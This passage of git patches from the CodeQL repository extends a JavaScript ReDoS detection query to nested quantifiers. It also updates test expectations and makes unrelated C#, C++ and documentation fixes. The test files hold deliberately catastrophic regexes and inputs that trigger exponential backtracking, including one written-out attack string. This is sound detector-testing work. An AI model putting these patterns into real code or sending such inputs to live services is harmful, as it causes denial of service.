'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | +| tst.js:254:39:254:41 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | +| tst.js:254:51:254:53 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbaz' and containing many repetitions of 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | | tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' thisisagoddamnlongstringforstresstestingthequery'. | | tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'thisisagoddamnlongstringforstresstestingthequery'. | +| tst.js:260:68:260:70 | \\w+ | This part of the regular expression may cause exponential backtracking on strings starting with 'this' and containing many repetitions of 'aquerythis'. | | tst.js:272:21:272:22 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | | tst.js:275:38:275:40 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '<a a=' and containing many repetitions of '"" a='. | | tst.js:281:16:281:17 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | @@ -139,6 +150,7 @@ | tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:338:17:338:45 | (([a-c]\|[c-d])T(e?e?e?e?\|X))+ | This part of the regular expression may cause exponential backtracking on strings starting with 'PRE' and containing many repetitions of 'cTX'. | +| tst.js:341:16:341:19 | (a)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | tst.js:344:16:344:17 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bb'. | | tst.js:351:15:351:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:353:15:353:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js b/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js index e5fc484a64a..f12d49ba07a 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/highlight.js @@ -18,7 +18,7 @@ var good = /[a-z0-9&#*=?@\\><:,()$[\]_.{}!+%^-]+([ ]+[a-z0-9&#*=?@\\><:,()$[\]_. var bad = /('.*?'|".*?"|\[.*?\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+|\.|\/)+X/; var good = /(\.|\.\/|\/)?(""|"[^"]+"|''|'[^']+'|\[\]|\[[^\]]+\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+)((\.|\/)(""|"[^"]+"|''|'[^']+'|\[\]|\[[^\]]+\]|[^\s!"#%&'()*+,.\/;<=>@\[\\\]^`{|}~]+))*/im; -// c-like - not detected +// c-like var bad = /((decltype\(auto\)|(?:[a-zA-Z_]\w*::)?[a-zA-Z_]\w*(?:<.*?>)?)[\*&\s]+)+(?:[a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m; var good = /((decltype\(auto\)|([a-zA-Z_]\w*::)?[a-zA-Z_]\w*(<[^<>]+>)?)[\*&\s]+)+([a-zA-Z_]\w*::)?[a-zA-Z]\w*\s*\(/m; diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index b3f7b207fde..b6425e3a2ea 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -58,7 +58,7 @@ var good6 = /(a|.)*/; var bad7 = /^([a-z]+)+$/; var bad8 = /^([a-z]*)*$/; // NOT detected var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; -var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; // NOT detected +var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; // NOT GOOD; attack: "[" + "][".repeat(100) + "]!" // Adapted from Prototype.js (https://github.com/prototypejs/prototype), which From 3d987321367ff3b98c91fbd42f68dfeef3d42108 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 4 Dec 2020 20:58:09 +0100 Subject: [PATCH 0428/1241] support nested stars in js/ReDoS --- javascript/ql/src/Performance/ReDoS.ql | 15 +++++++++++++++ .../query-tests/Performance/ReDoS/ReDoS.expected | 11 +++++++++++ .../ql/test/query-tests/Performance/ReDoS/tst.js | 12 ++++++------ 3 files changed, 32 insertions(+), 6 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 0aae4ce46ee..41e60013d8f 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -172,6 +172,21 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { r1 != r2 or r1 = r2 and q1 != q2 + or + r1 = r2 and + q1 = q2 and + epsilonSucc+(q) = q and + exists(RegExpTerm term | term = q.getRepr() | term instanceof InfiniteRepetitionQuantifier) and + ( + // One of the mid states is an infinite quantifier itself + exists(State mid, RegExpTerm term | + mid = epsilonSucc+(q) and + term = mid.getRepr() and + term instanceof InfiniteRepetitionQuantifier and + q = epsilonSucc+(mid) and + not mid = q + ) + ) ) and stateInsideBacktracking(r1) and stateInsideBacktracking(r2) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index e61c617feeb..a3aa59d63b1 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -25,6 +25,7 @@ | regexplib/email.js:5:24:5:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:6:10:6:35 | (?:[a-zA-Z0-9][\\.\\-\\+_]?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | +| regexplib/email.js:13:36:13:44 | [a-zA-Z]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | | regexplib/email.js:25:67:25:78 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/email.js:25:212:25:223 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | @@ -36,6 +37,7 @@ | regexplib/email.js:34:24:34:35 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | regexplib/email.js:34:63:34:74 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0@0' and containing many repetitions of '0'. | | regexplib/markup.js:3:451:3:453 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '<?i:q ' and containing many repetitions of 'a '. | +| regexplib/markup.js:7:15:7:21 | [^\\\\"]* | This part of the regular expression may cause exponential backtracking on strings starting with '"!' and containing many repetitions of '!'. | | regexplib/markup.js:13:6:13:12 | [^"']+? | This part of the regular expression may cause exponential backtracking on strings starting with '<' and containing many repetitions of '!'. | | regexplib/markup.js:13:14:13:16 | .+? | This part of the regular expression may cause exponential backtracking on strings starting with '<' and containing many repetitions of 'a"'. | | regexplib/markup.js:17:17:17:19 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '<a ="' and containing many repetitions of '" ="'. | @@ -45,6 +47,7 @@ | regexplib/markup.js:53:29:53:56 | [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | This part of the regular expression may cause exponential backtracking on strings starting with '[a=' and containing many repetitions of '='. | | regexplib/markup.js:56:23:56:25 | \\w+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | regexplib/markup.js:56:132:56:134 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with 'a[@a=''' and containing many repetitions of ' @a<""'. | +| regexplib/misc.js:4:36:4:44 | [a-zA-Z]* | This part of the regular expression may cause exponential backtracking on strings starting with 'A' and containing many repetitions of 'A'. | | regexplib/misc.js:15:56:15:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:24:56:24:118 | (([^\\\\/:\\*\\?"\\\|<>\\. ])\|([^\\\\/:\\*\\?"\\\|<>]*[^\\\\/:\\*\\?"\\\|<>\\. ]))? | This part of the regular expression may cause exponential backtracking on strings starting with '!' and containing many repetitions of '!\\\\!'. | | regexplib/misc.js:79:3:79:25 | (\\/w\|\\/W\|[^<>+?$%{}&])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/W'. | @@ -55,8 +58,10 @@ | regexplib/misc.js:148:23:148:29 | [^"'=]+ | This part of the regular expression may cause exponential backtracking on strings starting with '<! ' and containing many repetitions of '! '. | | regexplib/misc.js:173:4:173:11 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '#@' and containing many repetitions of '#'. | +| regexplib/strings.js:47:3:47:5 | \\S* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. | | regexplib/strings.js:57:17:57:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | | regexplib/strings.js:81:17:81:19 | \\d+ | This part of the regular expression may cause exponential backtracking on strings starting with '?se[' and containing many repetitions of '9'. | +| regexplib/strings.js:91:3:91:5 | \\S* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '!'. | | regexplib/uri.js:3:128:3:129 | .* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// /' and containing many repetitions of '/'. | | regexplib/uri.js:3:193:3:198 | [^\\#]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a=' and containing many repetitions of '"0='. | | regexplib/uri.js:3:200:3:215 | (?:\\&?\\w+\\=\\w+)* | This part of the regular expression may cause exponential backtracking on strings starting with 'ftp:// a="' and containing many repetitions of 'a=0'. | @@ -81,6 +86,7 @@ | tst.js:52:37:52:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$[' and containing many repetitions of ']['. | | tst.js:52:70:52:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. | | tst.js:58:15:58:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:59:15:59:20 | [a-z]* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:60:43:60:54 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | | tst.js:61:16:61:23 | ([a-z])+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. | @@ -147,10 +153,15 @@ | tst.js:305:18:305:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | | tst.js:308:16:308:24 | ([^/]\|X)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'X'. | | tst.js:311:20:311:24 | [^Y]+ | This part of the regular expression may cause exponential backtracking on strings starting with 'x' and containing many repetitions of 'Xx'. | +| tst.js:314:15:314:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:317:18:317:23 | [\\w-]* | This part of the regular expression may cause exponential backtracking on strings starting with 'foo' and containing many repetitions of '-'. | +| tst.js:320:15:320:19 | (ab)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. | | tst.js:323:14:323:20 | (a?a?)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:332:14:332:22 | (?:a\|a?)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:338:17:338:45 | (([a-c]\|[c-d])T(e?e?e?e?\|X))+ | This part of the regular expression may cause exponential backtracking on strings starting with 'PRE' and containing many repetitions of 'cTX'. | | tst.js:341:16:341:19 | (a)+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'aa'. | | tst.js:344:16:344:17 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bb'. | +| tst.js:350:15:350:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:351:15:351:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | +| tst.js:352:15:352:16 | a* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:353:15:353:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js index b6425e3a2ea..68549d11e3d 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/tst.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/tst.js @@ -56,7 +56,7 @@ var good6 = /(a|.)*/; // Testing the NFA - only some of the below are detected. var bad7 = /^([a-z]+)+$/; -var bad8 = /^([a-z]*)*$/; // NOT detected +var bad8 = /^([a-z]*)*$/; var bad9 = /^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/; var bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/; @@ -310,13 +310,13 @@ var good36 = /(([^/]|X)+)(\/[^]*)*$/; // GOOD - but we spuriously conclude that a rejecting suffix exists. var good37 = /^((x([^Y]+)?)*(Y|$))/; -// NOT GOOD - but not detected +// NOT GOOD var bad68 = /(a*)+b/; -// NOT GOOD - but not detected +// NOT GOOD var bad69 = /foo([\w-]*)+bar/; -// NOT GOOD - but not detected +// NOT GOOD var bad70 = /((ab)*)+c/; // NOT GOOD @@ -347,7 +347,7 @@ var bad78 = /^(b+.)+$/; var good39 = /a*b/; // All 4 bad combinations of nested * and + -var bad79 = /(a*)*b/; // not detected +var bad79 = /(a*)*b/; var bad80 = /(a+)*b/; -var bad81 = /(a*)+b/; // not detected +var bad81 = /(a*)+b/; var bad82 = /(a+)+b/; From 4392f0270cf6efc18e588856a7b1acb2b6cde20b Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Mon, 14 Dec 2020 19:43:04 +0100 Subject: [PATCH 0429/1241] autoformat --- javascript/ql/src/Performance/ReDoS.ql | 24 +++++++++++------------- 1 file changed, 11 insertions(+), 13 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 41e60013d8f..04cd002779a 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -173,19 +173,17 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { or r1 = r2 and q1 != q2 or - r1 = r2 and - q1 = q2 and - epsilonSucc+(q) = q and - exists(RegExpTerm term | term = q.getRepr() | term instanceof InfiniteRepetitionQuantifier) and - ( - // One of the mid states is an infinite quantifier itself - exists(State mid, RegExpTerm term | - mid = epsilonSucc+(q) and - term = mid.getRepr() and - term instanceof InfiniteRepetitionQuantifier and - q = epsilonSucc+(mid) and - not mid = q - ) + r1 = r2 and + q1 = q2 and + epsilonSucc+(q) = q and + exists(RegExpTerm term | term = q.getRepr() | term instanceof InfiniteRepetitionQuantifier) and + // One of the mid states is an infinite quantifier itself + exists(State mid, RegExpTerm term | + mid = epsilonSucc+(q) and + term = mid.getRepr() and + term instanceof InfiniteRepetitionQuantifier and + q = epsilonSucc+(mid) and + not mid = q ) ) and stateInsideBacktracking(r1) and From c58f67b1896c01656cf5ad93f84fb3535077ee1d Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 16 Dec 2020 16:04:51 +0100 Subject: [PATCH 0430/1241] reintroduce performance improvement - but sound this time --- javascript/ql/src/Performance/ReDoS.ql | 26 ++++++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 04cd002779a..97ab1c5dd27 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -118,9 +118,23 @@ newtype TStatePair = MkStatePair(State q1, State q2) { isFork(q1, _, _, _, _) and q2 = q1 or - step(_, _, _, q1, q2) + (step(_, _, _, q1, q2) or step(_, _, _, q2, q1)) and + rankState(q1) <= rankState(q2) } +/** + * Gets a unique number for a `state`. + * Is used to create an ordering of states, where states with the same `toString()` will be ordered differently. + */ +int rankState(State state) { + state = + rank[result](State s, Location l | + l = s.getRepr().getLocation() + | + s order by l.getStartLine(), l.getStartColumn(), s.toString() + ) +} + class StatePair extends TStatePair { State q1; State q2; @@ -190,12 +204,20 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { stateInsideBacktracking(r2) } +/** + * Gets the state pair `(q1, q2)` or `(q2, q1)`; note that only + * one or the other is defined. + */ +StatePair mkStatePair(State q1, State q2) { + result = MkStatePair(q1, q2) or result = MkStatePair(q2, q1) +} + /** * Holds if there are transitions from the components of `q` to the corresponding * components of `r` labelled with `s1` and `s2`, respectively. */ predicate step(StatePair q, InputSymbol s1, InputSymbol s2, StatePair r) { - exists(State r1, State r2 | step(q, s1, s2, r1, r2) and r = MkStatePair(r1, r2)) + exists(State r1, State r2 | step(q, s1, s2, r1, r2) and r = mkStatePair(r1, r2)) } /** From 28cffa1e07ded917d9d2100fe6a922f2ba04f64c Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Wed, 16 Dec 2020 21:17:33 +0100 Subject: [PATCH 0431/1241] add comment in isFork about /(a*)*/ regular expressions --- javascript/ql/src/Performance/ReDoS.ql | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 97ab1c5dd27..2e1d6580693 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -187,6 +187,17 @@ predicate isFork(State q, InputSymbol s1, InputSymbol s2, State r1, State r2) { or r1 = r2 and q1 != q2 or + // If q can reach itself by epsilon transitions, then there are two distinct paths to the q1/q2 state: + // one that uses the loop and one that doesn't. The engine will separately attempt to match with each path, + // despite ending in the same state. The "fork" thus arises from the choice of whether to use the loop or not. + // To avoid every state in the loop becoming a fork state, + // we arbitrarily pick the InfiniteRepetitionQuantifier state as the canonical fork state for the loop + // (every epsilon-loop must contain such a state). + // + // We additionally require that the there exists another InfiniteRepetitionQuantifier `mid` on the path from `q` to itself. + // This is done to avoid flagging regular expressions such as `/(a?)*b/` - that only has polynomial runtime. + // The below code is therefore a heuritic, that only flags regular expressions such as `/(a*)*b/`, + // and does not flag regular expressions such as `/(a?b?)c/`, but the latter pattern is not used frequently. r1 = r2 and q1 = q2 and epsilonSucc+(q) = q and From 203d74f2558f759dd00b67d5c6f6e933cb9bbb64 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 6 Jan 2021 11:04:58 +0000 Subject: [PATCH 0432/1241] Remove links to QLDoc spec --- docs/codeql/ql-language-reference/about-the-ql-language.rst | 2 +- docs/codeql/ql-language-reference/lexical-syntax.rst | 6 ++---- .../writing-codeql-queries/metadata-for-codeql-queries.rst | 2 +- 3 files changed, 4 insertions(+), 6 deletions(-) diff --git a/docs/codeql/ql-language-reference/about-the-ql-language.rst b/docs/codeql/ql-language-reference/about-the-ql-language.rst index 4d139fc8ff9..cc292154311 100644 --- a/docs/codeql/ql-language-reference/about-the-ql-language.rst +++ b/docs/codeql/ql-language-reference/about-the-ql-language.rst @@ -44,7 +44,7 @@ When you write this process in QL, it closely resembles the above structure. Not For more information about the important concepts and syntactic constructs of QL, see the individual reference topics such as ":doc:`Expressions <expressions>`" and ":doc:`Recursion <recursion>`." The explanations and examples help you understand how the language works, and how to write more advanced QL code. -For formal specifications of the QL language and QLDoc comments, see the ":doc:`QL language specification <ql-language-specification>`" and ":doc:`QLDoc comment specification <qldoc-comment-specification>`." +For a formal specification of the QL language, see the ":doc:`QL language specification <ql-language-specification>`." QL and object orientation ------------------------- diff --git a/docs/codeql/ql-language-reference/lexical-syntax.rst b/docs/codeql/ql-language-reference/lexical-syntax.rst index b2134ae147a..7553b7b92bc 100644 --- a/docs/codeql/ql-language-reference/lexical-syntax.rst +++ b/docs/codeql/ql-language-reference/lexical-syntax.rst @@ -16,12 +16,10 @@ For an overview of the lexical syntax, see "`Lexical syntax Comments ******** -All standard one-line and multiline comments, as described in the "`QL language specification -<ql-language-specification#comments>`_," are ignored by the QL +All standard one-line and multiline comments are ignored by the QL compiler and are only visible in the source code. You can also write another kind of comment, namely **QLDoc comments**. These comments describe -QL entities and are displayed as pop-up information in QL editors. For information about QLDoc -comments, see the ":doc:`QLDoc comment specification <qldoc-comment-specification>`." +QL entities and are displayed as pop-up information in QL editors. The following example uses these three different kinds of comments: diff --git a/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst index 0e1c8b85a81..93e164ac8ed 100644 --- a/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst +++ b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst @@ -8,7 +8,7 @@ Metadata tells users important information about CodeQL queries. You must includ About query metadata -------------------- -Any query that is run as part of an analysis includes a number of properties, known as query metadata. Metadata is included at the top of each query file as the content of a :ref:`QLDoc <qldoc-comment-specification>` comment. +Any query that is run as part of an analysis includes a number of properties, known as query metadata. Metadata is included at the top of each query file as the content of a QLDoc comment. This metadata tells LGTM and the CodeQL :ref:`extension for VS Code <codeql-for-visual-studio-code>` how to handle the query and display its results correctly. It also gives other users information about what the query results mean. For more information on query metadata, see the `query metadata style guide <https://github.com/github/codeql/blob/main/docs/query-metadata-style-guide.md>`__ in our `open source repository <https://github.com/github/codeql>`__ on GitHub. From 74622cf6f3922f7dce9bfbfc31317d785aac80ec Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Wed, 6 Jan 2021 12:16:19 +0100 Subject: [PATCH 0433/1241] C#: Fix join-order following stats update --- .../ql/src/semmle/code/csharp/frameworks/System.qll | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/frameworks/System.qll b/csharp/ql/src/semmle/code/csharp/frameworks/System.qll index 02f5169f826..ef1f11bf7b5 100644 --- a/csharp/ql/src/semmle/code/csharp/frameworks/System.qll +++ b/csharp/ql/src/semmle/code/csharp/frameworks/System.qll @@ -588,16 +588,19 @@ predicate implementsEquals(ValueOrRefType t) { getInvokedEqualsMethod(t).getDecl * from the `object.Equals(object)` method inherited by `t`. */ Method getInvokedEqualsMethod(ValueOrRefType t) { - result = getInheritedEqualsMethod(t) and + result = getInheritedEqualsMethod(t, _) and not exists(getInvokedIEquatableEqualsMethod(t, result)) or exists(EqualsMethod eq | result = getInvokedIEquatableEqualsMethod(t, eq) and - getInheritedEqualsMethod(t) = eq + getInheritedEqualsMethod(t, _) = eq ) } -private EqualsMethod getInheritedEqualsMethod(ValueOrRefType t) { t.hasMethod(result) } +pragma[noinline] +private EqualsMethod getInheritedEqualsMethod(ValueOrRefType t, ValueOrRefType decl) { + t.hasMethod(result) and decl = result.getDeclaringType() +} /** * Equals method `eq` is inherited by `t`, `t` overrides `IEquatable<T>.Equals(T)` @@ -621,10 +624,9 @@ private EqualsMethod getInheritedEqualsMethod(ValueOrRefType t) { t.hasMethod(re */ private IEquatableEqualsMethod getInvokedIEquatableEqualsMethod(ValueOrRefType t, EqualsMethod eq) { t.hasMethod(result) and - eq = getInheritedEqualsMethod(t.getBaseClass()) and exists(IEquatableEqualsMethod ieem | result = ieem.getAnOverrider*() and - eq.getDeclaringType() = ieem.getDeclaringType() + eq = getInheritedEqualsMethod(t.getBaseClass(), ieem.getDeclaringType()) | not ieem.fromSource() or From 81205f37c5acfd86a3778f9575176a6c94debe34 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 6 Jan 2021 11:45:17 +0000 Subject: [PATCH 0434/1241] C++: Fix test annotation. --- cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c index 129257731ab..45304f13872 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-089/SqlTainted/test.c @@ -30,5 +30,5 @@ int main(int argc, char** argv) { // an integer from the user is injected into an SQL query. char query3[1000] = {0}; snprintf(query3, 1000, "SELECT UID FROM USERS where number = \"%i\"", userNumber); - mysql_query(0, query3); // BAD + mysql_query(0, query3); // GOOD } From bc6b1e8ed7b51e6a6c268dffb6688220f5c60e58 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Wed, 6 Jan 2021 12:04:49 +0000 Subject: [PATCH 0435/1241] Fix typos and small formatting bugs --- .../ql-language-specification.rst | 93 ++++++++++--------- 1 file changed, 49 insertions(+), 44 deletions(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 1ad1a5473c4..786c9a7d599 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -390,7 +390,7 @@ The store QL programs evaluate in the context of a *store*. This section specifies several definitions related to the store. -A *fact* is a predicate or type along with an named tuple. A fact is written as the predicate name or type name followed immediately by the tuple. Here are some examples of facts: +A *fact* is a predicate or type along with a named tuple. A fact is written as the predicate name or type name followed immediately by the tuple. Here are some examples of facts: :: @@ -406,10 +406,10 @@ An named tuple *directly satisfies* a predicate or type with a given tuple if th A value ``v`` is in a type ``t`` under any of the following conditions: - The type of ``v`` is ``t`` and ``t`` is a primitive type. -- There is tuple with ``this`` component ``v`` that directly satisfies ``t``. +- There is a tuple with ``this`` component ``v`` that directly satisfies ``t``. -An ordered tuple ``v`` *directly satisfies* a predicate with a given if there is a fact in the store with the given predicate and a named tuple ``v'`` -such that taking the ordered formed by the ``this`` component of ``v'`` followed by component for each argument equals the ordered tuple. +An ordered tuple ``v`` *directly satisfies* a predicate with a given tuple if there is a fact in the store with the given predicate and a named tuple ``v'`` +such that taking the ordered tuple formed by the ``this`` component of ``v'`` followed by the component for each argument equals the ordered tuple. An ordered tuple *satisfies a predicate* ``p`` under the following circumstances. If ``p`` is not a member predicate, then the tuple satisfies the predicate whenever the named tuple satisfies the tuple. @@ -460,9 +460,9 @@ A multiline comment is a *comment start*, followed by a *comment body*, followed */ QLDoc (qldoc) -~~~~~~~~ +~~~~~~~~~~~~~ -A QLDoc comment is a *qldoc comment start*, followed by a *comment body*, followed by a *qldoc comment end*. A comment start is a slash (``/``, U+002F) followed by two asterisks (``*``, U+002A), and a qldoc comment end is an asterisk followed by a slash. A qldoc comment body is any sequence of characters that does not include a comment end. Here is an example qldoc comment: +A QLDoc comment is a *qldoc comment start*, followed by a *qldoc comment body*, followed by a *qldoc comment end*. A comment start is a slash (``/``, U+002F) followed by two asterisks (``*``, U+002A), and a qldoc comment end is an asterisk followed by a slash. A qldoc comment body is any sequence of characters that does not include a comment end. Here is an example QLDoc comment: :: @@ -472,7 +472,7 @@ A QLDoc comment is a *qldoc comment start*, followed by a *comment body*, follow It had a qldoc comment. */ -The ‘content’ of a QLDoc comment is the comment body of the comment, omitting the initial /**, the trailing */, and the leading whitespace followed by * on each internal line. +The "content" of a QLDoc comment is the comment body of the comment, omitting the initial ``/**``, the trailing ``*/``, and the leading whitespace followed by ``*`` on each internal line. Keywords ~~~~~~~~ @@ -759,27 +759,27 @@ A predicate may have several different binding sets, which can be stated by 